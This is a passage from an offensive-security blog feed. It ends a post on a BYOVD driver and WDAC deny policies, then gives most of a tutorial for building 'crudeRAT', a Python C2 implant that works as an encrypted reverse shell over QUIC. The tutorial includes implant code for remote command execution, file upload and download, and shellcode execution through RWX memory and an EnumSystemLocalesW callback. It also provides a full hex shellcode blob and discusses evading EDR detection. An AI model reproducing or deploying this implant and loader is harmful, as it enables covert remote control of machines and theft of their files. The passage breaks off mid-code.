</span><span class="n">Copy-Item</span><span class="w"> </span><span class="s2">"</span><span class="nv">$</span><span class="nn">env</span><span class="p">:</span><span class="nv">windir</span><span class="s2">\schemas\CodeIntegrity\ExamplePolicies\AllowAll.xml"</span><span class="w"> </span><span class="nt">-Destination</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\AllowAll_Temp.xml"</span><span class="w">

</span><span class="c"># 2. Point your variable to the new, copied file location</span><span class="w">
</span><span class="nv">$AllowAllPolicy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\AllowAll_Temp.xml"</span><span class="w">

</span><span class="c"># 3. Run the merge command again using the copied template</span><span class="w">
</span><span class="n">Merge-CIPolicy</span><span class="w"> </span><span class="nt">-PolicyPaths</span><span class="w"> </span><span class="nv">$AllowAllPolicy</span><span class="w"> </span><span class="nt">-OutputFilePath</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\DenyPolicy.xml"</span><span class="w"> </span><span class="nt">-Rules</span><span class="w"> </span><span class="nv">$DenyRule</span><span class="w">

</span><span class="c"># 4. Clean up the temporary template file</span><span class="w">
</span><span class="n">Remove-Item</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\AllowAll_Temp.xml"</span><span class="w">

</span><span class="c"># 5. Change the Friendly Name safely using the native Microsoft cmdlet</span><span class="w">
</span><span class="n">Set-CIPolicyIdInfo</span><span class="w"> </span><span class="nt">-FilePath</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\DenyPolicy.xml"</span><span class="w"> </span><span class="nt">-PolicyName</span><span class="w"> </span><span class="s2">"Driver Deny Policy - AMD"</span><span class="w">

</span><span class="c"># 6. Read the unique GUID directly out of your policy XML</span><span class="w">
</span><span class="p">[</span><span class="n">xml</span><span class="p">]</span><span class="nv">$policy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-Content</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\DenyPolicy.xml"</span><span class="w">
</span><span class="nv">$policyID</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$policy</span><span class="o">.</span><span class="nf">SiPolicy</span><span class="o">.</span><span class="nf">PolicyID</span><span class="w">

</span><span class="c"># 7. Re-compile the binary using the exact string formatting Windows expects</span><span class="w">
</span><span class="nv">$correctName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"</span><span class="nv">$policyID</span><span class="s2">.cip"</span><span class="w">
</span><span class="n">ConvertFrom-CIPolicy</span><span class="w"> </span><span class="nt">-XmlFilePath</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\DenyPolicy.xml"</span><span class="w"> </span><span class="nt">-BinaryFilePath</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\</span><span class="nv">$correctName</span><span class="s2">"</span><span class="w">

</span><span class="n">Write-Host</span><span class="w"> </span><span class="s2">"Your new file is named: </span><span class="nv">$correctName</span><span class="s2">"</span><span class="w">

</span><span class="c"># 8. Register and refresh the policy binary via the official tool path</span><span class="w">
</span><span class="n">CiTool.exe</span><span class="w"> </span><span class="nt">--update-policy</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\</span><span class="nv">$correctName</span><span class="s2">"</span><span class="w">

</span><span class="c"># 1. Remotely unregister the old policy from the Windows Kernel (replace with your GUID)</span><span class="w">
</span><span class="n">CiTool.exe</span><span class="w"> </span><span class="nt">--remove-policy</span><span class="w"> </span><span class="s2">"{31351756-3f24-4963-8380-4e7602335aae}"</span><span class="w">

</span><span class="c"># 2. Delete the old binary from your local Documents folder to prevent duplicates</span><span class="w">
</span><span class="n">Remove-Item</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\*.cip"</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span></code></pre></div></div>

<h2 id="-bonus-content-for-members-all-tiers-">🎁 <strong><em>Bonus Content for Members! (All Tiers)</em></strong> 🎁</h2>

<p>Additional TPwSav.sys BYOVD driver + code!  <a href="https://ko-fi.com/s/aeb093ef9e">TPwSav.sys Source Code on Ko-fi</a></p>

<p><img width="678" height="291" alt="image" src="https://github.com/user-attachments/assets/3dd53e0b-8f62-41c7-8745-1fd1174cf04e" /></p>

<h2 id="anyrun-results"><strong><em>ANY.RUN Results</em></strong></h2>

<p><a href="https://app.any.run/tasks/70110313-16cd-4ec8-9719-c1624538c067">Full Sandbox Analysis</a></p>

<div style="text-align: right;">
  
<b>Sponsored By:</b><br />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/anyrun.png" />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/vector35.png" />

</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="BYOVD" /><category term="LSASS" /><category term="PPL" /><category term="XOR" /><category term="BYOVD" /><category term="EDR Bypass" /><category term="2026" /><category term="g3tsyst3m" /><summary type="html"><![CDATA[I still remember when Mimikatz dropped in 2011. It was a wild time in offensive security, and a period where a single tool could expose fundamental weaknesses in Windows credential handling and force the entire ecosystem to level up. Features like Protected Process Light (PPL), hardened LSASS protections, and vastly improved ETW telemetry didn’t emerge in a vacuum; they were, in part, Microsoft’s response to researchers openly demonstrating just how broken things were. It was an era defined by deep technical curiosity and creative problem-solving on both sides of the fence, and this was long before AI entered the chat.]]></summary></entry><entry><title type="html">Building an Encrypted C2 Implant Using QUIC</title><link href="https://g3tsyst3m.com/encrypted%20shell/Building-an-Encrypted-C2-Implant-Using-QUIC/" rel="alternate" type="text/html" title="Building an Encrypted C2 Implant Using QUIC" /><published>2026-04-30T00:00:00+00:00</published><updated>2026-04-30T00:00:00+00:00</updated><id>https://g3tsyst3m.com/encrypted%20shell/Building%20an%20Encrypted%20C2%20Implant%20Using%20QUIC</id><content type="html" xml:base="https://g3tsyst3m.com/encrypted%20shell/Building-an-Encrypted-C2-Implant-Using-QUIC/"><![CDATA[<p>Hey everyone! If you’ve been following the blog for a while, you’ll likely recall my python driven C2 series.  Today we’re doing something a little different. We’re going to ditch TCP sockets entirely and build a C2 implant that communicates over <strong>QUIC</strong>.  QUIC is an encrypted transport protocol that runs over UDP. If you’ve never heard of QUIC, buckle up, because it’s genuinely cool and increasingly relevant from an offensive security perspective. Let’s get into it!</p>

<hr />

<h2 id="what-even-is-quic"><strong><em>What even is QUIC?</em></strong></h2>

<p>QUIC (Quick UDP Internet Connections) was originally developed by Google and is now an IETF standard (RFC 9000). It’s the transport layer underneath HTTP/3. Here’s why it matters to us:</p>

<ul>
  <li><strong>Encrypted by default</strong>: TLS 1.3 is baked in. There’s no plaintext QUIC. Every connection is encrypted from the first packet.</li>
  <li><strong>Runs over UDP</strong>: Many network monitoring tools and IDS signatures are tuned heavily for TCP. QUIC gives us a different traffic profile. 😸</li>
  <li><strong>Multiplexed streams</strong>: You get multiple independent streams over a single connection without head-of-line blocking.</li>
  <li><strong>Connection migration</strong>: The connection can survive IP address changes. Very Handy.</li>
  <li><strong>ALPN negotiation</strong>: Application Layer Protocol Negotiation lets you define your own protocol identifier. We’re using <code class="language-plaintext highlighter-rouge">"g3tsyst3m"</code> as our ALPN string.  This means our traffic identifies itself as something custom rather than standard HTTP.</li>
</ul>

<p>From a C2 perspective, <code class="language-plaintext highlighter-rouge">QUIC</code> gives you an encrypted, UDP-based channel that doesn’t look like a typical reverse shell. That’s a good starting point for researching an encrypted, reverse shell implant.</p>

<p>We’ll be using the excellent <code class="language-plaintext highlighter-rouge">aioquic</code> and <code class="language-plaintext highlighter-rouge">tqdm</code> libraries, which gives us a full async QUIC implementation in Python + a cool progress bar for file uploads/downloads 😸. Install it with:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip install aioquic tqdm
</code></pre></div></div>

<hr />

<h2 id="meet-our-cruderat"><strong><em>Meet our crudeRAT</em></strong></h2>

<p>I’m calling our implant <strong>crudeRAT</strong> because it’s just a commandline driven, very rudimentary RAT type connector/implant 🐭</p>

<p><strong>Here’s what it can do:</strong></p>

<ul>
  <li>Encrypted reverse shell over QUIC (UDP/4433)</li>
  <li>Execution of commands just by typing them: <code class="language-plaintext highlighter-rouge">net user</code>, <code class="language-plaintext highlighter-rouge">whoami</code>, etc</li>
  <li>File upload to the implant (<code class="language-plaintext highlighter-rouge">send</code>) with tqdm progress bar</li>
  <li>File download from the implant (<code class="language-plaintext highlighter-rouge">recv</code>)</li>
  <li>Shellcode execution via <code class="language-plaintext highlighter-rouge">EnumSystemLocalesW</code> callback using hex</li>
  <li>Keep-alive PING to maintain the connection</li>
</ul>

<p>Let’s walk through the architecture before we get to the code.</p>

<hr />

<h2 id="architecture-overview"><strong><em>Architecture Overview</em></strong></h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Attacker Linux Box (or Windows)]          [Windows Target]
  quicsvr3.py          ←→      quiccli3.py
  (C2 Server)        QUIC/UDP   (QuicRAT Implant)
  port 4433
</code></pre></div></div>

<p>The server runs on your attacker box. The implant runs on the target, connects back, and opens a bidirectional QUIC stream. All traffic is TLS 1.3 encrypted. The implant doesn’t verify the server cert (since we’re self-signed), but the encryption is still fully in place.</p>

<blockquote>
  <p>Quick Wireshark Snapshot at the onset of the first connected client</p>
</blockquote>

<p><img width="1356" height="757" alt="image" src="https://github.com/user-attachments/assets/1e278909-c20f-4a04-9a9a-eca2a3b4fde9" /></p>

<blockquote>
  <p>Server</p>
</blockquote>

<p><img width="855" height="321" alt="image" src="https://github.com/user-attachments/assets/eba5a3c7-6ad6-4073-9641-989470c38a77" /></p>

<blockquote>
  <p>Client</p>
</blockquote>

<p><img width="1477" height="539" alt="image" src="https://github.com/user-attachments/assets/f5e2bc70-72c9-4023-8349-d3876f7b0006" /></p>

<hr />

<p><strong>For the code samples I’ll be using today, I plan to just pull from snippits of the full code I think are helpful to better understand.  I’ll share the full source code at the end of the post!</strong></p>

<h2 id="the-cruderat-implant-quiccli3py"><strong><em>The crudeRAT Implant (quiccli3.py)</em></strong></h2>

<p>Let’s start with the implant. The core class is <code class="language-plaintext highlighter-rouge">ImplantProtocol</code>, which extends <code class="language-plaintext highlighter-rouge">QuicConnectionProtocol</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">ImplantProtocol</span><span class="p">(</span><span class="n">QuicConnectionProtocol</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
        <span class="nf">super</span><span class="p">().</span><span class="nf">__init__</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_upload_file</span>    <span class="o">=</span> <span class="bp">None</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_upload_path</span>    <span class="o">=</span> <span class="bp">None</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_upload_expect</span>  <span class="o">=</span> <span class="mi">0</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_upload_recvd</span>   <span class="o">=</span> <span class="mi">0</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_upload_sid</span>     <span class="o">=</span> <span class="bp">None</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_downloading</span>    <span class="o">=</span> <span class="bp">False</span>
</code></pre></div></div>

<p>The upload state variables are important.  When we’re in the middle of receiving a file, raw binary data arrives across multiple <code class="language-plaintext highlighter-rouge">StreamDataReceived</code> events. We need to track how much we’ve received vs. how much we expect, and feed it all into an open file handle until we’re done.</p>

<h3 id="command-dispatch">Command Dispatch</h3>

<p>Everything flows through <code class="language-plaintext highlighter-rouge">quic_event_received</code>. The first thing we do when data arrives is check whether we’re mid-upload.  If so, we skip the command parser entirely and feed bytes straight to the file:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="n">self</span><span class="p">.</span><span class="n">_upload_file</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
    <span class="n">remaining</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">_upload_expect</span> <span class="o">-</span> <span class="n">self</span><span class="p">.</span><span class="n">_upload_recvd</span>
    <span class="n">chunk</span> <span class="o">=</span> <span class="n">raw</span><span class="p">[:</span><span class="n">remaining</span><span class="p">]</span>
    <span class="n">self</span><span class="p">.</span><span class="n">_upload_file</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span>
    <span class="n">self</span><span class="p">.</span><span class="n">_upload_recvd</span> <span class="o">+=</span> <span class="nf">len</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span>

    <span class="k">if</span> <span class="n">self</span><span class="p">.</span><span class="n">_upload_recvd</span> <span class="o">&gt;=</span> <span class="n">self</span><span class="p">.</span><span class="n">_upload_expect</span><span class="p">:</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_upload_file</span><span class="p">.</span><span class="nf">close</span><span class="p">()</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_upload_file</span> <span class="o">=</span> <span class="bp">None</span>
        <span class="n">self</span><span class="p">.</span><span class="nf">_send</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="n">_upload_sid</span><span class="p">,</span> <span class="sh">"</span><span class="s">File successfully uploaded!</span><span class="se">\n</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">return</span>
</code></pre></div></div>

<p>Otherwise we decode the data as a UTF-8 command string and dispatch it:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">cmd</span> <span class="o">=</span> <span class="n">raw</span><span class="p">.</span><span class="nf">decode</span><span class="p">(</span><span class="sh">'</span><span class="s">utf-8</span><span class="sh">'</span><span class="p">,</span> <span class="n">errors</span><span class="o">=</span><span class="sh">'</span><span class="s">ignore</span><span class="sh">'</span><span class="p">).</span><span class="nf">strip</span><span class="p">()</span>
</code></pre></div></div>

<h3 id="file-upload-protocol">File Upload Protocol</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>C2] Command&gt; send C:<span class="se">\U</span>sers<span class="se">\r</span>obbi<span class="se">\D</span>ocuments<span class="se">\v</span>total_hash.txt vtotal.txt
<span class="o">[</span>C2] Sending 64 bytes...
Uploading vtotal.txt: 100%|█████████████████████████████████████████████████████████| 64.0/64.0 <span class="o">[</span>00:00&lt;00:00, 23.3kB/s]

<span class="o">[</span>C2] File successfully uploaded!
</code></pre></div></div>

<p>The upload sequence is modeled after my original Python c2 series but adapted for <code class="language-plaintext highlighter-rouge">QUIC</code>.  Essentially, the server sends a framed header first, the implant acks ready, then raw binary flows:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>server  → ":upload:|&lt;filename&gt;|&lt;filesize&gt;"
implant → "***Ready for upload***"
server  → raw binary (4096-byte chunks)
implant → "File successfully uploaded!"
</code></pre></div></div>

<p>We use <code class="language-plaintext highlighter-rouge">|</code> as the field separator instead of <code class="language-plaintext highlighter-rouge">:</code> because Windows paths contain colons (<code class="language-plaintext highlighter-rouge">C:\...</code>) and that caused all kinds of fun <code class="language-plaintext highlighter-rouge">ValueError</code> exceptions earlier in development 😄</p>

<p>Uploaded files land in <code class="language-plaintext highlighter-rouge">C:\users\public\uploads\</code> on the target by default.</p>

<h3 id="file-download-protocol">File Download Protocol</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>C2] Command&gt; recv C:<span class="se">\U</span>sers<span class="se">\r</span>obbi<span class="se">\D</span>ocuments<span class="se">\v</span>total_hash.txt c:<span class="se">\u</span>sers<span class="se">\p</span>ublic<span class="se">\v</span>total.txt
<span class="o">[</span>C2] Receiving 64 bytes -&gt; c:<span class="se">\u</span>sers<span class="se">\p</span>ublic<span class="se">\v</span>total.txt
<span class="o">[</span>C2] Downloading vtotal.txt: 100%
<span class="o">[</span>C2] Download <span class="nb">complete</span>: c:<span class="se">\u</span>sers<span class="se">\p</span>ublic<span class="se">\v</span>total.txt <span class="o">(</span>64 bytes<span class="o">)</span>

<span class="o">[</span>+] File successfully downloaded! Saved to c:<span class="se">\u</span>sers<span class="se">\p</span>ublic<span class="se">\v</span>total.txt <span class="o">(</span>64 bytes<span class="o">)</span>
</code></pre></div></div>

<p>Downloading files is just as easy and we once again borrow from how I did this in the original Python c2 series.  We use the ‘recv’ command to initiate a download of a file(s):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>server  → "~download~|&lt;filepath&gt;"
implant → "&lt;filesize&gt;" (plain int string)
implant → raw binary data (4096-byte chunks)
</code></pre></div></div>

<p>The implant sends the filesize first so the server knows when to stop reading. Then it just streams the file:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">filesize</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">getsize</span><span class="p">(</span><span class="n">filepath</span><span class="p">)</span>
<span class="n">self</span><span class="p">.</span><span class="nf">_send</span><span class="p">(</span><span class="n">sid</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">filesize</span><span class="p">))</span>
<span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>

<span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">filepath</span><span class="p">,</span> <span class="sh">'</span><span class="s">rb</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="n">chunk</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">chunk</span><span class="p">:</span>
            <span class="k">break</span>
        <span class="n">self</span><span class="p">.</span><span class="nf">_send</span><span class="p">(</span><span class="n">sid</span><span class="p">,</span> <span class="n">chunk</span><span class="p">)</span>
        <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>  <span class="c1"># yield to event loop
</span></code></pre></div></div>

<h3 id="executing-commands">Executing Commands</h3>

<p>Executing commands is incredibly straight forward.  Just pretend you are in a shell and type whatever command you like!  Here’s a few I tested out:</p>

<div class="language-bat highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span><span class="kd">C2</span><span class="o">]</span> <span class="kd">Command</span><span class="o">&gt;</span> <span class="nb">whoami</span>

<span class="kd">g3tsyst3m</span><span class="na">-pc</span>\robbi

<span class="o">[</span><span class="kd">C2</span><span class="o">]</span> <span class="kd">Command</span><span class="o">&gt;</span> <span class="nb">net</span> <span class="kd">user</span>

<span class="kd">User</span> <span class="kd">accounts</span> <span class="k">for</span> \\G3TSYST3M<span class="na">-PC

</span><span class="o">-------------------------------------------------------------------------------</span>
<span class="kd">Administrator</span>            <span class="kd">DefaultAccount</span>           <span class="kd">Guest</span>
<span class="kd">robbi</span>                    <span class="kd">testuser</span>                 <span class="kd">WDAGUtilityAccount</span>
<span class="kd">WsiAccount</span>
<span class="kd">The</span> <span class="kd">command</span> <span class="kd">completed</span> <span class="kd">successfully</span>.

<span class="kd">You</span> <span class="kd">can</span> <span class="kd">use</span> <span class="nb">cd</span> <span class="kd">c</span>:\ <span class="kd">to</span> <span class="kd">go</span> <span class="kd">to</span> <span class="kd">the</span> <span class="kd">root</span> <span class="kd">directory</span><span class="o">,</span> <span class="kd">or</span> <span class="kd">even</span> <span class="nb">cd</span> .. <span class="kd">like</span> <span class="kd">so</span>:

<span class="o">[</span><span class="kd">C2</span><span class="o">]</span> <span class="kd">Command</span><span class="o">&gt;</span> <span class="nb">cd</span> <span class="kd">c</span>:\

<span class="kd">Changed</span> <span class="kd">directory</span> <span class="kd">to</span> <span class="kd">c</span>:\

<span class="o">[</span><span class="kd">C2</span><span class="o">]</span> <span class="kd">Command</span><span class="o">&gt;</span> <span class="nb">cd</span>

<span class="kd">c</span>:\

<span class="kd">You</span> <span class="kd">can</span> <span class="kd">also</span> <span class="kd">view</span> <span class="kd">the</span> <span class="kd">very</span> <span class="kd">basic</span> <span class="nb">help</span> <span class="kd">menu</span> <span class="kd">by</span> <span class="kd">typing</span> <span class="sb">`help`</span>

<span class="o">[</span><span class="kd">C2</span><span class="o">]</span> <span class="kd">Command</span><span class="o">&gt;</span> <span class="nb">help</span>

  <span class="o">&lt;</span><span class="kd">shell</span> <span class="nb">cmd</span><span class="o">&gt;</span>                    <span class="kd">Run</span> <span class="kd">a</span> <span class="kd">shell</span> <span class="kd">command</span> <span class="na">on</span> <span class="kd">the</span> <span class="kd">implant</span>
  <span class="nb">cd</span> <span class="o">&lt;</span><span class="nb">path</span><span class="o">&gt;</span>                      <span class="kd">Change</span> <span class="kd">implant</span> <span class="kd">working</span> <span class="kd">directory</span>
  <span class="kd">send</span> <span class="o">&lt;</span><span class="kd">local</span><span class="o">&gt;</span> <span class="o">&lt;</span><span class="kd">remote</span><span class="o">&gt;</span>          <span class="kd">Upload</span> <span class="kd">file</span> <span class="kd">to</span> <span class="kd">implant</span>   <span class="o">(</span><span class="kd">raw</span> <span class="kd">binary</span><span class="o">,</span> <span class="kd">tqdm</span> <span class="kd">progress</span><span class="o">)</span>
  <span class="kd">recv</span> <span class="o">&lt;</span><span class="kd">remote</span><span class="o">&gt;</span> <span class="o">&lt;</span><span class="kd">local</span><span class="o">&gt;</span>          <span class="kd">Download</span> <span class="kd">file</span> <span class="kd">from</span> <span class="kd">implant</span> <span class="o">(</span><span class="kd">raw</span> <span class="kd">binary</span><span class="o">)</span>
  <span class="kd">send_shellcode</span> <span class="o">&lt;</span><span class="kd">hex</span><span class="o">&gt;</span>           <span class="kd">Execute</span> <span class="kd">shellcode</span> <span class="na">on</span> <span class="kd">the</span> <span class="kd">implant</span>
  <span class="k">exit</span>                           <span class="kd">Shut</span> <span class="kd">down</span> <span class="kd">the</span> <span class="kd">C2</span>

<span class="o">[</span><span class="kd">C2</span><span class="o">]</span> <span class="kd">Command</span><span class="o">&gt;</span>
</code></pre></div></div>

<h3 id="shellcode-execution">Shellcode Execution</h3>

<p>Alright, let’s talk about the fun part 😸 For shellcode execution we use <code class="language-plaintext highlighter-rouge">EnumSystemLocalesW</code> as our callback trigger.  It’s worth understanding <em>why</em> we pick this over the more obvious approaches.</p>

<p>The traditional approach to shellcode execution in Python is to call <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>, copy your shellcode in, cast the address to a function pointer, and call it directly. That works, but it’s also extremely well-signatured. EDRs have seen that pattern and then some lol. The callback technique is a way to have Windows call your shellcode <em>for you</em> through a legitimate API, which can look a lot cleaner from a behavioral analysis standpoint.</p>

<p><code class="language-plaintext highlighter-rouge">EnumSystemLocalesW</code> is a Win32 API that enumerates all installed system locales on the machine. It takes a callback function pointer and calls it once per locale. From our perspective, we don’t care about locales, we just need a API that accepts a function pointer and invokes it. There are many others in this family (<code class="language-plaintext highlighter-rouge">EnumWindows</code>, <code class="language-plaintext highlighter-rouge">EnumChildWindows</code>, <code class="language-plaintext highlighter-rouge">EnumThreadWindows</code>, <code class="language-plaintext highlighter-rouge">EnumDesktopWindows</code>…) and they all work on the same principle.</p>

<p><strong>Here’s the full execution flow:</strong></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># 1. Allocate RWX memory for the shellcode
</span><span class="n">addr</span> <span class="o">=</span> <span class="n">kernel32</span><span class="p">.</span><span class="nc">VirtualAlloc</span><span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="n">sz</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">)</span>

<span class="c1"># 2. Copy shellcode bytes into the allocated region
</span><span class="n">buf</span> <span class="o">=</span> <span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="n">c_ubyte</span> <span class="o">*</span> <span class="n">sz</span><span class="p">).</span><span class="nf">from_buffer_copy</span><span class="p">(</span><span class="n">shellcode_bytes</span><span class="p">)</span>
<span class="n">kernel32</span><span class="p">.</span><span class="nc">RtlMoveMemory</span><span class="p">(</span><span class="nf">c_void_p</span><span class="p">(</span><span class="n">addr</span><span class="p">),</span> <span class="n">buf</span><span class="p">,</span> <span class="n">sz</span><span class="p">)</span>

<span class="c1"># 3. Pass the shellcode address as the callback — Windows calls it for us
</span><span class="n">kernel32</span><span class="p">.</span><span class="nc">EnumSystemLocalesW</span><span class="p">(</span><span class="nf">c_void_p</span><span class="p">(</span><span class="n">addr</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>
</code></pre></div></div>

<p>We use <code class="language-plaintext highlighter-rouge">RtlMoveMemory</code> instead of <code class="language-plaintext highlighter-rouge">ctypes.memmove</code> for the copy.  It really doesn’t matter, it’s just my personal preference.  😈</p>

<p>Now, the async wrinkle. Our encrypted c2 implant, or crudeRAT if you will, runs entirely inside an <code class="language-plaintext highlighter-rouge">asyncio</code> event loop. If we call <code class="language-plaintext highlighter-rouge">EnumSystemLocalesW</code> directly on the event loop thread and our shellcode blocks, then we would freeze the entire implant. No more commands, no keep-alive pings, nothing. So, we push shellcode execution into a thread pool via <code class="language-plaintext highlighter-rouge">run_in_executor</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">loop</span> <span class="o">=</span> <span class="n">asyncio</span><span class="p">.</span><span class="nf">get_event_loop</span><span class="p">()</span>
<span class="n">success</span> <span class="o">=</span> <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="nf">wait_for</span><span class="p">(</span>
    <span class="n">loop</span><span class="p">.</span><span class="nf">run_in_executor</span><span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="n">call_enum</span><span class="p">),</span>
    <span class="n">timeout</span><span class="o">=</span><span class="mf">10.0</span>
<span class="p">)</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">wait_for</code> gives us a 10-second timeout. If the shellcode hasn’t returned by then we bail, free the memory, and report back. In practice, a working beacon payload will do its thing and the implant just continues running on the event loop thread independently. The shellcode spins up its own threads internally.  I’m more or less imitating an actual beacon payload…in a much more crude way lol.</p>

<p>One thing worth noting for defenders reading this: <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> with <code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READWRITE</code> followed by <code class="language-plaintext highlighter-rouge">EnumSystemLocalesW</code> is a detectable sequence. A well-tuned EDR with kernel callbacks watching <code class="language-plaintext highlighter-rouge">NtAllocateVirtualMemory</code> and <code class="language-plaintext highlighter-rouge">NtProtectVirtualMemory</code> will light up on this. The improvement path from here is module stomping or reflective loading into already-executable memory.  Topics I’d love to dive into further in a future post (or a Learning Course Module, something I’m working on off and on in what spare time I have).😄</p>

<h3 id="using-shellcode-from-the-c2-client">Using Shellcode from the C2 Client</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">C2</span><span class="p">]</span> <span class="n">Command</span><span class="o">&gt;</span> <span class="n">send_shellcode</span> <span class="o">&lt;</span><span class="nb">hex</span><span class="o">-</span><span class="n">encoded</span> <span class="n">shellcode</span><span class="o">&gt;</span>
<span class="p">[</span><span class="n">IMPLANT</span><span class="p">]</span> <span class="n">Shellcode</span> <span class="n">executed</span> <span class="n">successfully</span>

<span class="n">For</span> <span class="n">instance</span><span class="p">,</span> <span class="n">the</span> <span class="n">following</span> <span class="n">will</span> <span class="n">execute</span> <span class="n">calc</span><span class="p">.</span><span class="n">exe</span> <span class="n">using</span> <span class="n">the</span> <span class="sb">`EnumSystemLocalesW`</span> <span class="n">API</span><span class="p">:</span>

<span class="p">[</span><span class="n">C2</span><span class="p">]</span> <span class="n">Command</span><span class="o">&gt;</span> <span class="n">send_shellcode</span> <span class="mi">4883</span><span class="n">ec284883e4f04831c965488b4160488b4018488b7010488b36488b36488b5e304989d88b5b3c4c01c34831c96681c1ff8848c1e9088b140b4c01c2448b52144d31db448b5a204d01c34c89d148b8646472657373909048c1e01048c1e8105048b847657450726f6341504889e067e32031db418b1c8b4c01c348ffc94c8b084c390b75e9448b480844394b08740375ddcc51415f49ffc74d31db448b5a1c4d01c3438b04bb4c01c050415f4d89fc4c89c74c89c14d89e64889f9b861649090c1e010c1e8105048b84578697454687265504889e24883ec3041ffd64883c4304989c54d89e64889f948b857696e4578656300504889e24883ec3041ffd64883c4304989c64883c408b8000000005048b863616c632e657865504889e1ba010000004883ec3041ffd631c941ffd5</span>
</code></pre></div></div>

<p>Generate your shellcode hex with whatever framework you prefer and paste it in. The implant handles the rest.</p>

<h3 id="keep-alive">Keep-Alive</h3>

<p>QUIC connections have an idle timeout — without traffic, the connection drops. We solve this with a background coroutine that sends a QUIC PING frame every 20 seconds:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="k">def</span> <span class="nf">keep_alive</span><span class="p">(</span><span class="n">protocol</span><span class="p">):</span>
    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
